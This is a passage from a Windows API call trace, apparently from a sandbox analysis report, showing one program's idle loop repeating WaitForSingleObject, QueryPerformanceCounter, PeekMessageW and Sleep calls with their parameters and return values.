out: lpMsg=0x2df914) returned 0 [0151.686] Sleep (dwMilliseconds=0x64) [0151.700] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.700] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=781990353) returned 1 [0151.700] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=781990523) returned 1 [0151.700] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.701] Sleep (dwMilliseconds=0x64) [0151.715] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.716] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=782043966) returned 1 [0151.716] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=782044133) returned 1 [0151.716] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.717] Sleep (dwMilliseconds=0x64) [0151.731] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.731] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=782097016) returned 1 [0151.731] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=782097184) returned 1 [0151.732] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.732] Sleep (dwMilliseconds=0x64) [0151.747] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.747] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=782150390) returned 1 [0151.747] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=782150589) returned 1 [0151.747] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.748] Sleep (dwMilliseconds=0x64) [0151.762] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.762] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=782203510) returned 1 [0151.762] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=782203695) returned 1 [0151.763] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.763] Sleep (dwMilliseconds=0x64) [0151.778] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.778] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=782257365) returned 1 [0151.778] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=782257597) returned 1 [0151.779] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.779] Sleep (dwMilliseconds=0x64) [0151.794] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.794] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=782312312) returned 1 [0151.794] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=782312492) returned 1 [0151.795] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.795] Sleep (dwMilliseconds=0x64) [0151.821] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.821] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=782405771) returned 1 [0151.821] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=782405945) returned 1 [0151.823] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.823] Sleep (dwMilliseconds=0x64) [0151.825] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.825] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=782417018) returned 1 [0151.825] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=782417169) returned 1 [0151.825] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.826] Sleep (dwMilliseconds=0x64) [0151.840] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.840] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=782470681) returned 1 [0151.840] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=782470830) returned 1 [0151.841] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.841] Sleep (dwMilliseconds=0x64) [0151.856] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.856] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=782523657) returned 1 [0151.856] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=782523852) returned 1 [0151.856] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.857] Sleep (dwMilliseconds=0x64) [0151.871] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.871] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=782576711) returned 1 [0151.871] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=782576859) returned 1 [0151.872] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.872] Sleep (dwMilliseconds=0x64) [0151.887] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.887] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=782630247) returned 1 [0151.887] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=782630395) returned 1 [0151.888] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.888] Sleep (dwMilliseconds=0x64) [0151.905] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.905] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=782690427) returned 1 [0151.905] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=782690626) returned 1 [0151.905] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.906] Sleep (dwMilliseconds=0x64) [0151.918] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.918] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=782736947) returned 1 [0151.918] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=782737145) returned 1 [0151.919] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.920] Sleep (dwMilliseconds=0x64) [0151.934] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.934] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=782790255) returned 1 [0151.934] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=782790454) returned 1 [0151.935] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.935] Sleep (dwMilliseconds=0x64) [0151.949] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.949] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=782843525) returned 1 [0151.950] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=782843709) returned 1 [0151.950] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.951] Sleep (dwMilliseconds=0x64) [0151.966] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.966] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=782900433) returned 1 [0151.966] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=782900616) returned 1 [0151.967] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.967] Sleep (dwMilliseconds=0x64) [0151.981] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.981] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=782950308) returned 1 [0151.981] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=782950505) returned 1 [0151.981] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.982] Sleep (dwMilliseconds=0x64) [0151.996] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.996] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=783003541) returned 1 [0151.996] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=783003739) returned 1 [0151.997] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.998] Sleep (dwMilliseconds=0x64) [0152.013] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.013] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=783059798) returned 1 [0152.013] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=783059986) returned 1 [0152.013] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.014] Sleep (dwMilliseconds=0x64) [0152.028] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.028] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=783110565) returned 1 [0152.028] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=783110763) returned 1 [0152.028] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.029] Sleep (dwMilliseconds=0x64) [0152.043] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.043] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=783163526) returned 1 [0152.043] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=783163784) returned 1 [0152.044] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.044] Sleep (dwMilliseconds=0x64) [0152.059] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.059] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=783216734) returned 1 [0152.059] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=783216920) returned 1 [0152.059] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.060] Sleep (dwMilliseconds=0x64) [0152.075] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.075] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=783271806) returned 1 [0152.075] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=783271990) returned 1 [0152.075] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.076] Sleep (dwMilliseconds=0x64) [0152.090] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.090] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=783323540) returned 1 [0152.090] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=783323708) returned 1 [0152.091] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.091] Sleep (dwMilliseconds=0x64) [0152.105] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.106] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=783376827) returned 1 [0152.106] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=783376998) returned 1 [0152.106] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.107] Sleep (dwMilliseconds=0x64) [0152.122] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.122] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=783434046) returned 1 [0152.122] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=783434213) returned 1 [0152.123] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.123] Sleep (dwMilliseconds=0x64) [0152.137] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.137] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=783483506) returned 1 [0152.137] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=783483704) returned 1 [0152.137] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.138] Sleep (dwMilliseconds=0x64) [0152.152] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.152] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=783537011) returned 1 [0152.152] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=783537205) returned 1 [0152.153] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.154] Sleep (dwMilliseconds=0x64) [0152.168] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.168] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=783590077) returned 1 [0152.168] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=783590279) returned 1 [0152.169] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.169] Sleep (dwMilliseconds=0x64) [0152.184] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.184] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=783646700) returned 1 [0152.185] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=783646898) returned 1 [0152.185] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.186] Sleep (dwMilliseconds=0x64) [0152.199] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.199] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=783696728) returned 1 [0152.199] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=783696995) returned 1 [0152.200] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.200] Sleep (dwMilliseconds=0x64) [0152.215] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.215] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=783750421) returned 1 [0152.215] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=783750618) returned 1 [0152.215] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.216] Sleep (dwMilliseconds=0x64) [0152.231] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.231] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=783805293) returned 1 [0152.231] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=783805477) returned 1 [0152.232] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.232] Sleep (dwMilliseconds=0x64) [0152.246] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.246] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=783856590) returned 1 [0152.246] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=783856776) returned 1 [0152.246] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.247] Sleep (dwMilliseconds=0x64) [0152.261] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.262] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=783909968) returned 1 [0152.262] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=783910153) returned 1 [0152.262] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.263] Sleep (dwMilliseconds=0x64) [0152.277] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.277] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=783963522) returned 1 [0152.277] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=783963708) returned 1 [0152.278] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.278] Sleep (dwMilliseconds=0x64) [0152.296] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.296] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=784027635) returned 1 [0152.296] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=784027821) returned 1 [0152.297] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.297] Sleep (dwMilliseconds=0x64) [0152.308] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.308] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=784069862) returned 1 [0152.308] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=784070049) returned 1 [0152.309] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.309] Sleep (dwMilliseconds=0x64) [0152.324] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.324] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=784123126) returned 1 [0152.324] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=784123310) returned 1 [0152.324] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.325] Sleep (dwMilliseconds=0x64) [0152.340] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.340] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=784179106) returned 1 [0152.340] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=784179304) returned 1 [0152.341] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.341] Sleep (dwMilliseconds=0x64) [0152.356] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.356] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=784231780) returned 1 [0152.356] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=784231965) returned 1 [0152.356] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.357] Sleep (dwMilliseconds=0x64) [0152.371] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.371] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=784283155) returned 1 [0152.371] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=784283341) returned 1 [0152.371] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.372] Sleep (dwMilliseconds=0x64) [0152.386] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.386] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=784336549) returned 1 [0152.386] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=784336746) returned 1 [0152.387] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.388] Sleep (dwMilliseconds=0x64) [0152.402] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.402] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=784390107) returned 1 [0152.402] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=784390292) returned 1 [0152.403] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.403] Sleep (dwMilliseconds=0x64) [0152.417] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.417] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=784443035) returned 1 [0152.418] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=784443206) returned 1 [0152.418] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.419] Sleep (dwMilliseconds=0x64) [0152.433] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.433] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=784496518) returned 1 [0152.433] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=784496693) returned 1 [0152.434] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.434] Sleep (dwMilliseconds=0x64) [0152.449] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.449] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=784551805) returned 1 [0152.449] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=784551972) returned 1 [0152.450] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.450] Sleep (dwMilliseconds=0x64) [0152.464] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.464] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=784603375) returned 1 [0152.464] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=784603545) returned 1 [0152.465] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 